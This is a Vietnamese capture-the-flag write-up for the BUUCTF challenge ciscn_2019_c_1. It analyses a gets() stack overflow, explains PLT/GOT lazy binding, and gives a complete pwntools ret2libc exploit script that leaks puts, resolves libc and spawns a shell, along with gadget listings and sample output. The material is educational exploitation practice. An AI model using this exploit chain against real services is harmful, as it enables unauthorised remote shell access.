Kiểm tra bảo vệ, stack không thực thi
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
Đây là một bài tập điển hình trong thư viện libc, sẽ được phân tích chi tiết
int __fastcall main_function(int argc, const char **argv, const char **envp)
{
int input_value; // [rsp+Ch] [rbp-4h] BYREF
initialize(argc, argv, envp);
puts("EEEEEEE hh iii ");
puts("EE mm mm mmmm aa aa cccc hh nn nnn eee ");
puts("EEEEE mmm mm mm aa aaa cc hhhhhh iii nnn nn ee e ");
puts("EE mmm mm mm aa aaa cc hh hh iii nn nn eeeee ");
puts("EEEEEEE mmm mm mm aaa aa ccccc hh hh iii nn nn eeeee ");
puts("====================================================================");
puts("Welcome to this Encryption machine\n");
display_menu();
while ( 1 )
{
while ( 1 )
{
fflush(0LL);
input_value = 0;
__isoc99_scanf("%d", &input_value);
getchar();
if ( input_value != 2 )
break;
puts("I think you can do it by yourself");
display_menu();
}
if ( input_value == 3 )
{
puts("Bye!");
return 0;
}
if ( input_value != 1 )
break;
perform_encryption();
display_menu();
}
puts("Something Wrong!");
return 0;
}
int display_menu()
{
puts("====================================================================");
puts("1.Encrypt");
puts("2.Decrypt");
puts("3.Exit");
return puts("Input your choice!");
}
int perform_encryption()
{
size_t current_index;
char buffer[48];
__int16 terminator;
memset(buffer, 0, sizeof(buffer));
terminator = 0;
puts("Input your Plaintext to be encrypted");
gets(buffer);
while ( 1 )
{
current_index = (unsigned int)index_counter;
if ( current_index >= strlen(buffer) )
break;
if ( buffer[index_counter] <= 96 || buffer[index_counter] > 122 )
{
if ( buffer[index_counter] <= 64 || buffer[index_counter] > 90 )
{
if ( buffer[index_counter] > 47 && buffer[index_counter] <= 57 )
buffer[index_counter] ^= 0xFu;
}
else
{
buffer[index_counter] ^= 0xEu;
}
}
else
{
buffer[index_counter] ^= 0xDu;
}
++index_counter;
}
puts("Ciphertext");
return puts(buffer);
}
Phân tích mã nguồn, đây là chương trình mã hóa đơn giản, hàm main hiển thị giao diện chào mừng và cung cấp menu: 1. Mã hóa (gọi hàm perform_encryption) 2. Hiển thị thông tin vô ích 3. Thoát chương trình. Hàm mã hóa sử dụng phép XOR để mã hóa văn bản đầu vào: chữ thường XOR với 0xD (13), chữ hoa XOR với 0xE (14), số XOR với 0xF (15), các ký tự khác giữ nguyên. Kết quả mã hóa được xuất ra làm văn bản mã. Hàm main cơ bản không có lỗi, nhưng hàm mã hóa chứa hàm không an toàn là gets
Shift+F12 không tìm thấy /bin/sh hay system, có thể xác định sẽ dùng kỹ thuật ret2libc
Có một điểm nhỏ ở hàm mã hóa, để giữ cho chuỗi sau khi mã hóa giống như đầu vào, có thể tận dụng tính chất nghịch đảo của phép XOR, khiến một số sau khi XOR hai lần với cùng một số sẽ quay về giá trị ban đầu. Ví dụ (a^b)^b=a. Nếu chuỗi nhập bắt đầu bằng \x00, ký tự sẽ bị cắt tại đó, strlen sẽ coi như chuỗi rỗng, từ đó bỏ qua quá trình mã hóa. Trong thử nghiệm thực tế, dường như việc cắt hay không cũng không ảnh hưởng đến việc lấy địa chỉ hàm
Chúng ta sẽ giải thích chi tiết nguyên lý ret2libc, quá trình chạy chương trình bao gồm viết mã, biên dịch, liên kết, đóng gói thành tệp thực thi, và ret2libc chủ yếu tấn công bước liên kết động, tức bảng PLT và GOT, ví dụ hình tượng như sau:
:::info Giả sử chương trình cần gọi nhiều hàm bên ngoài (ví dụ printf), giống như bạn cần gọi điện cho nhiều người. GOT (Global Offset Table): giống như sổ địa chỉ. Ghi lại số điện thoại thật của từng người (địa chỉ bộ nhớ thực của hàm). Ban đầu sổ này trống hoặc ghi "hỏi thư ký". PLT (Procedure Linkage Table): giống như thư ký tận tâm. Khi bạn muốn gọi ai đó (gọi hàm), bạn không trực tiếp tra sổ mà gọi thư ký tương ứng: "Anh P, giúp tôi gọi ông Vương (printf)!". Thư ký P (PLT) luôn làm điều đầu tiên: tra sổ (GOT) xem có số của ông Vương chưa. Nếu có rồi, gọi trực tiếp (nhảy đến địa chỉ và thực thi). Nếu chưa có, thư ký sẽ tìm cách lấy số thật của ông Vương, ghi vào sổ (GOT), rồi mới giúp bạn gọi. Đây là "liên kết trì hoãn (Lazy Binding)": địa chỉ hàm chỉ được tìm và ghi khi được gọi lần đầu, tăng hiệu suất khởi động.
:::
Sau khi chương trình chạy một lần, địa chỉ hàm được lưu vào bảng GOT, lúc này chúng ta có thể in ra để sử dụng thông qua các hàm như puts. Với phiên bản cố định của libc.so, địa chỉ của system và /bin/sh là tương đối cố định. Tư tưởng của chúng ta là lấy địa chỉ của pop_rdi_ret, puts_plt, puts_got thông qua tràn stack để in ra địa chỉ thật của hàm puts, dựa vào địa chỉ thật của hàm puts để biết phiên bản libc trên máy đích, chuyển đổi offset từ puts@got sang system_got và binsh_got, quay lại hàm gets, thực hiện lại tràn stack để lấy shell
.plt:00000000004006D6 push 0
.plt:00000000004006DB jmp sub_4006C0
.plt:00000000004006E0 ; [00000006 BYTES: COLLAPSED FUNCTION _puts]
.plt:00000000004006E6 ; ---------------------------------------------------------------------------
Thấy rõ địa chỉ puts_plt là 0x4006E0, tất nhiên cũng có thể lấy qua việc tạo đối tượng elf, sử dụng puts_plt=elf.plt['puts']
elf = ELF('./ciscn_2019_c_1')
puts_plt=elf.plt['puts']
0000000000000050 char buffer[48];
-0000000000000020 _WORD var_20;
-000000000000001E // padding byte
-000000000000001D // padding byte
...............................................
-0000000000000003 // padding byte
-0000000000000002 // padding byte
-0000000000000001 // padding byte
+0000000000000000 _QWORD __saved_registers;
+0000000000000008 _UNKNOWN *__return_address;
Có thể tính được offset=0x50+0x8
payload = b'\x00' + b'A'*(offset-1)
payload +=p64(gadget_pop_rdi_ret)
payload +=p64(puts_got_address)
payload +=p64(puts_plt_address)
payload +=p64(main_function_address)
pop rdi ; ret có tác dụng lấy một giá trị vào rdi, sau đó trả về một địa chỉ. Cụ thể hơn là, tải địa chỉ của hàm puts trong bảng GOT (puts_got_address) vào thanh ghi RDI như tham số; sau đó gọi địa chỉ của hàm puts trong bảng PLT (puts_plt_address), thực thi puts(puts_got_address), từ đó in ra địa chỉ thật của hàm puts trong libc; cuối cùng đặt địa chỉ trả về là hàm main. Tất nhiên cũng có thể trả về encry_addr, đồng thời khi tràn stack lần thứ hai lấy shell sẽ không cần gửi thêm b'1', lý do cụ thể mời độc giả tự suy nghĩ kết hợp mã giả. Cách nhận địa chỉ thật của hàm puts trong libc như sau
puts_real_address = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
puts_real_address = u64(p.recvline()[:-1].ljust(8,b'\0'))
Cách nhận thứ nhất dùng recvuntil('\x7f') nhận dữ liệu đến khi gặp byte 0x7f, sau đó trích xuất 6 byte cuối và bổ sung đủ 8 byte rồi phân tích. Phương pháp này phù hợp để trích xuất địa chỉ nhúng trong luồng dữ liệu, đặc biệt đối với đặc điểm địa chỉ libc trên hệ 64-bit thường bắt đầu bằng 0x7f, có thể định vị chính xác thông tin địa chỉ trong dữ liệu phức tạp. Cách nhận thứ hai dùng recvline() nhận cả dòng dữ liệu, loại bỏ ký tự xuống dòng cuối dòng rồi bổ sung đủ 8 byte, cuối cùng phân tích thành số nguyên 64 bit. Phương pháp này phù hợp với trường hợp địa chỉ chiếm riêng một dòng, xử lý đơn giản trực tiếp, nhưng yêu cầu địa chỉ phải kết thúc bằng ký tự xuống dòng.
mov edi, offset aCiphertext ; "Ciphertext"
call _puts
lea rax, [rbp+buffer]
mov rdi, rax ; buffer
call _puts
nop
add rsp, 48h
pop rbx
pop rbp
retn
; } // starts at 4009A0
perform_encryption endp
Với cách nhận thứ nhất, sau khi nhận Ciphertext còn phải nhận thêm \n vì hàm perform_encryption trước khi trả về còn gọi thêm một lần puts() để in buffer đã mã hóa, sau đó mới retn. Vì vậy cần nhận thêm một dòng nữa, sau đó mới là địa chỉ thật của puts. Trong khi đoạn mã đầu tiên do dùng until '\x7f', nên dù có nhận thêm dòng \n hay không cũng đều có thể nhận thành công địa chỉ puts, đây là cách tôi khuyến nghị.
Sau khi nhận địa chỉ hàm puts dùng log của pwn in ra, dựa vào 3 chữ số cuối có thể tra tại https://libc.blukat.me/ tìm được libc, sau đó tính toán offset với base của libc để lấy system và binsh, cũng có thể dùng libcsearcher để "gian lận". Tạo lại payload thực hiện tràn stack lần nữa để lấy shell, theo nguyên lý cân bằng stack đã nói ở trên, phải thêm một ret trước, phần còn lại giống nguyên lý trên, tài liệu liên quan xem ở cuối bài.
exp
from pwn import *
from pwn import u64
from LibcSearcher import *
# io = process('./ciscn_2019_c_1')
io = remote('node5.buuoj.cn',26053)
elf = ELF('./ciscn_2019_c_1')
context(log_level = 'debug',os='linux',arch='amd64')
offset=0x50+0x8
puts_plt_addr=elf.plt['puts']
puts_got_addr=elf.got['puts']
main_func_addr=elf.symbols['main']
ret_gadget=0x4006B9
pop_rdi_gadget=0x400C83
encrypt_func_addr=0x4009a0
payload = b'\x00' + b'A'*(offset-1)
payload +=p64(pop_rdi_gadget)
payload +=p64(puts_got_addr)
payload +=p64(puts_plt_addr)
payload +=p64(main_func_addr)
# payload +=p64(encrypt_func_addr)
io.sendlineafter('Input your choice!',b'1')
io.recvuntil('Input your Plaintext to be encrypted')
io.sendline(payload)
io.recvuntil(b"Ciphertext\n")
# io.recvuntil(b"\n")
# In địa chỉ thật của puts đã nhận
puts_real_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
# puts_real_addr = u64(io.recvline()[:-1].ljust(8,b'\0'))
log.success('puts_addr--->'+hex(puts_real_addr))
libc_searcher = LibcSearcher("puts",puts_real_addr)
libc_base_addr= puts_real_addr - libc_searcher.dump('puts')
system_real_addr = libc_base_addr + libc_searcher.dump('system')
binsh_string = libc_base_addr + libc_searcher.dump('str_bin_sh')
log.success('libc_base---->'+hex(libc_base_addr))
log.success('system_addr-->'+hex(system_real_addr))
log.success('str_bin_sh--->'+hex(binsh_string))
# gán lại payload
payload=b'\x00' + b'A'*(offset-1)
payload+=p64(ret_gadget)
payload+=p64(pop_rdi_gadget)+p64(binsh_string)
payload+=p64(system_real_addr)
io.sendline(b'1')
io.sendlineafter('Input your Plaintext to be encrypted',payload)
io.interactive()
# [+] puts_addr--->0x7fd41062c9c0
# [+] libc_base---->0x7f7f43f30000
# [+] system_addr-->0x7f7f43f7f440
# [+] str_bin_sh--->0x7f7f440e3e9a
# id libc6_2.27-3ubuntu1_amd64
# ROPgadget --binary ciscn_2019_c_1 --only 'pop|ret'
#rdi rsi rdx rcx r8 r9
# 0x0000000000400c7c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x0000000000400c7e : pop r13 ; pop r14 ; pop r15 ; ret
# 0x0000000000400c80 : pop r14 ; pop r15 ; ret
# 0x0000000000400c82 : pop r15 ; ret
# 0x0000000000400c7b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x0000000000400c7f : pop rbp ; pop r14 ; pop r15 ; ret
# 0x00000000004007f0 : pop rbp ; ret
# 0x0000000000400aec : pop rbx ; pop rbp ; ret
# 0x0000000000400c83 : pop rdi ; ret
# 0x0000000000400c81 : pop rsi ; pop r15 ; ret
# 0x0000000000400c7d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x00000000004006b9 : ret
# 0x00000000004008ca : ret 0x2017
# 0x0000000000400962 : ret 0x458b
# 0x00000000004009c5 : ret 0xbf02
Một số vấn đề khi payload gọi system thất bại trong glibc 64 bit
Cân bằng stack và chuyển stack (Stack-Pivot)-Tencent Cloud Developer Community-Tencent Cloud
BUUCTF ciscn_2019_c_1_byteswarning: text is not bytes; assuming ascii, n-CSDN Blog